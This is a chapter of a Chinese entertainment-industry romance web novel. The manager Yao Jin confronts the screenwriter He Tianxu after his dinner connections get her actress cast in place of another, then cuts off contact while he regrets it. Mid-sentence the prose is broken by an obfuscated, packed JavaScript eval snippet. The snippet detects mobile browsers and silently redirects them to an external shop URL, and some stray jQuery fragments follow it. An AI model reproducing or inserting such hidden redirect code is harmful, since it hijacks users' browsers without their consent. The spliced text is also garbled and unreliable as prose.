52. 提心吊胆

作品:《恋爱脑不想当情夫了[娱乐圈]

    姚今深呼吸几次,渐渐缓过神来。她离开休息室附近,找到刚从更衣室换完衣服出来的陆灵曼。


    她跟陆灵曼讲了抢角和王洲邀约的事。


    陆灵曼顿时脸色一变,紧张起来。


    两人商量一通,最终决定拒演。


    安排司机送陆灵曼回家后,姚今回复完王洲的信息。她决定去找贺天叙谈清楚。


    去之前,姚今特地提前打了个电话给贺天叙。她没在电话里直言,只通知自己需要见他一面,问对方是否方便。她觉得这种事情还是需要当面讲清楚。


    贺天叙还不明所以,接到姚今主动打来的电话时声音里浸满轻软的笑意:“我当然有空!那你是来我家吗?”


    “不。去你工作室吧,可以吗?”姚今声音稍显冷淡。


    但贺天叙毫不在意这冷淡,反倒因为姚今要来自己工作室而感到分外惊喜。他觉得这是个向姚今展示自己的好机会。


    于是贺天叙在挂断电话后,立刻搭配衣鞋和饰品,匆匆赶往工作室等候姚今到来。


    没多久,姚今就到了。


    见到姚今的第一秒,贺天叙同往常一样张开双臂凑近,想要拥人入怀。


    但姚今却退后两步,做了个暂停的手势。


    贺天叙只好乖乖停下,瘪着嘴,慢慢把手落下。他眸子仍亮晶晶的,却盛了点委屈。


    “为什么不能抱呀?”贺天叙的目光如糖浆似的黏在姚今身上,融化得更加彻底。


    但没等姚今开口,他就重新整理好心情,换了副神情,含笑朝姚今道:“今今,我有个好消息想分享给你。”


    姚今心头一跳。


    下一秒,就听贺天叙喜滋滋地开口:“今天王洲跟我说想让陆灵曼当他新剧的女一号!”


    “我本来当时就想告诉你的,但是我手头上那个刚写完的新剧本突然有了点灵感,要修改一下,我就给忙忘了。”


    姚今紧蹙眉尖,声音稍稍尖锐几分:“你早就知道这事了?”


    见姚今的脸色陡然一沉,贺天叙瞬间慌乱起来。他无措地靠近姚今两步,不确定地问:“是啊,怎、怎么了吗?”


    “你不高兴了,为什么?”贺天叙抿着唇,心慌得厉害。


    “你觉得我应该要感到高兴吗?”


    贺天叙不假思索地应声:“我看过王洲的新剧本,质量很好。你的艺人能参演,还是女主角,这当然是一件值得感到高兴的好事。”


    姚今觉得胸口一阵发堵。


    “可这对别人来说不是好事。王洲原本定的女主角是谭一青。因为你的那场饭局,王洲决定换角,让陆灵曼当女主角。”


    姚今越发冷淡的态度和硬邦邦的语气引得贺天叙心中委屈更盛。


    贺天叙忍不住反问:“他们都没有签合同,就算换角,那也可能是王洲觉得陆灵曼比谭一青更合适这个角色,这有什么问题吗?为什么你会觉得罪过在那场饭局?”


    这话彻底引燃了姚今一直压抑的怒火。


    姚今原本以为贺天叙是对这件事不知情的。对于饭局导致出现的现在这种结果,贺天叙也是没有预料到的。


    可现在看来,是她自己一厢情愿地觉得贺天叙无辜。


    其实贺天叙什么都知道。


    从头到尾,那场饭局上,只有姚今和陆灵曼、郭诚三个人被蒙在鼓里。


    三个傻子。


    姚今本来没想怪贺天叙。她一直觉得是自己的问题,是自己没有思量周全。可听着贺天叙的每一句话,姚今都觉得眼前人似乎不是自己以往认识到的那样。


    她的目光落在自己手腕上的红心,心中五味杂陈。


    贺天叙刚刚说的话,是他的真心话。这也是他最真实的反应。


    “为什么我觉得罪过在那场饭局?”姚今把这话重复一遍,语气玩味。


    她偏头一笑,再把视线落在贺天叙身上时已经红了眼眶:“因为饭局上王洲说过,卢漪在他们这些人面前多次提到灵曼。”


    “你是编剧,想来做阅读理解的能力不会差。这话是什么意思?”


    贺天叙唇边微张,却发不出一个音节。他没觉得王洲这话有什么不对劲。


    这不就是平平无奇的客套话吗?


    大家在饭局上提一提彼此都相熟的人,打开话题而已。


    “这话证明,陆灵曼早就进入他的视线范围内了。”


    “王洲不像你,他从来不搞公开试镜选角那一套。他每次都是和选角团队直接私下向某个艺人发出邀请,进行洽谈。”


    姚今的声音冷硬,似万年难融的酷寒冰霜:“既然陆灵曼早就进入他视线范围内了,我却从来没有收到过他的询问合作意向的信息。偏偏在那场饭局见面后,王洲就决定换角了。”


    “王洲决定换角,还特地把这件事告诉你……”


    “贺大编剧,请问还需要我把话掰开揉碎得更细,解释给你听吗?”


    姚今话语里的讽刺让贺天叙无地自容。


    注视姚今红了的眼眶,贺天叙心里更乱上几分。他头脑一昏,竟问:“我把我的人脉、资源分享给你……你觉得是麻烦、累赘吗?”


    姚今直视贺天叙已经黯淡了的眸子,从里面看见自己的身影。


    她像是在和贺天叙说话,又像是在警诫自己:“我明白你的心意。你愿意用自身的人脉资源为我铺路,我很感谢你。但是我不想完全地依赖你,更不想仗你的势,去伤害到别人。”


    “如果你只是觉得有合适的剧本或是导演编剧,想要牵桥搭线,推荐我的艺人,我欣然接受,也会非常感谢。”姚今话锋一转,“但如果是要我靠着你的人脉和资源,心安理得地让我的艺人去顶替别人应有的位置,这种事情我接受不了,也极其讨厌。”


    “人家已经定好其他演员来演女主角了,就因为你一句话、一顿饭,说换就换……”姚今声音艰涩。


    “我带的艺人,他们是什么能力就到什么位置。没有能力却反而被捧上高位的人,即使有一天爬上去了,也照样会摔得粉身碎骨。”姚今这话像是在提醒自己,“如果我要得到什么,我希望是凭自己的本事。而不是因为我背后有谁撑腰。”


    姚今微微仰面,直言:“贺天叙,我和你在一起不是为了你的名声,更不是看中你的人脉、资源。我不会把这种事情混杂进感情里的。”


    “我的爱,不是用来交换利益的等价物。”


    “你的爱,也同样不是。”


    她对上贺天叙慌乱的目光,语气稍稍放柔:“你一句话、一顿饭就能轻易换掉主演,对方要么是看在你父亲的面子上,要么是相信你的眼光和才华。如果我的艺人没你所说的那么好,别人会怎么看待你,又会如何评价你的眼光、才华?”


    “稻与粱盛名在外,这样的盛名是通过你亲笔写下的一本本剧本堆起来的。你当编剧这么多年,也不是轻轻松松就取得了现在的成就。”


    姚今的语气愈发轻缓:“这种事只会严重损耗你的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090482|188852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声誉。你还是爱惜羽毛一点吧……”


    她突然叹了口气,像是已经筋疲力尽。姚今对上贺天叙的目光,沉静道:“我已经以档期冲突为由替灵曼拒演了王洲的剧。这段时间,我们彼此都先冷静一下吧!”


    说完,姚今转身离去,没有一丝犹豫。


    贺天叙怔怔地望着姚今离开,不知道该用什么话替自己辩解、更不知道该如何挽留。


    他见过无数人离去的背影,在最初的十几年人生里,父母多次离开的身影永远是他痛苦的来源。贺天叙没留住过会离开的父母,而现在,他也同样留不住意欲离去的姚今。


    哪怕他已经尽力。


    贺天叙呆坐在工作室的办公椅上,觉得一阵气闷。扯开领带、松开几枚扣子,可他还是觉得几乎要窒息。


    他的脑袋成了台坏掉的播放器,只会一遍遍反复回放刚刚和姚今的对话。姚今的每一寸神情变化、说出口的每一个字,都如巨石般砸进贺天叙的心湖,掀起惊涛骇浪。


    在一遍又一遍地重复中,贺天叙后知后觉地意识到自己的话语似乎让姚今误会了。


    他的每一句回答都像是挑衅,似乎是在明晃晃地告诉姚今,他确实是在用交情换利益,他知道谭一青是暂定的女主角,也知道谭一青被陆灵曼顶替,并且对这事感到无所谓。


    就好像在不断跟姚今重复,他就是这样一个品行卑劣的人。


    但事实不是这样的。


    一开始是王洲主动找到贺天叙,让他推荐人选。王洲言语中只提及目前人选有谭一青,但还没签合同。于是,贺天叙下意识地认为谭一青这事八字没一撇,这才推荐了陆灵曼。


    王洲听了贺天叙的推荐,很上心,想着跟陆灵曼见一面。贺天叙听王洲这样一说,索性自己做东,把双方约在一起见面。


    刚刚听姚今的分析,现在贺天叙回想起来,才后知后觉地发现王洲过度解读了他的意思。不管是饭局还是后来王洲专门告知他换角一事,都有卖他个人情的成分在。


    这实非贺天叙本愿。


    贺天叙越想便越发懊悔,没想到自己好心办坏事。他赶紧把自己搞出来的烂摊子收拾好,向王洲和谭一青解释清楚,并赔礼道歉。


    等彻底处理完这事,贺天叙想约姚今见面,向对方再次解释事情真相。他犹豫了好几天,最终下定决心打电话。可贺天叙始终没有打通姚今的电话。他换了几个时间再拨打,也依旧是未接。


    贺天叙不甘心,又打算给姚今发信息。他删删改改,多次调整措辞,好不容易确定最终版本把信息发出去时,却发现自己被姚今拉黑了。


    他又发了邮件给姚今,但也依旧没得到任何回应。


    贺天叙受不了这样的冷待。千思万绪绞缠心脏,一阵阵疼意泛上。他怀里抱着软绵绵的仓鼠玩偶,似乎想从它那得到点安慰。可抱着这玩意,贺天叙便回忆起以前姚今待他的好来。


    渴求许久的东西好不容易得到,还没拥有多久却又骤然失去。贺天叙心里空落落的,无措和茫然淹没了他。


    他忽地生出个念头,觉得姚今口中那句“彼此冷静一下”的言外之意就是结束这段不堪的关系。


    这种想法彻底吓到了贺天叙。他第一时间想反驳却又忍不住地继续细想这个想法的可能性。


    在这段不道德的情感关系里,贺天叙本来就是那个乞求对方施舍爱意的人。如果姚今想要结束,随时都可以。


    他根本没理由也没资本挽留对方。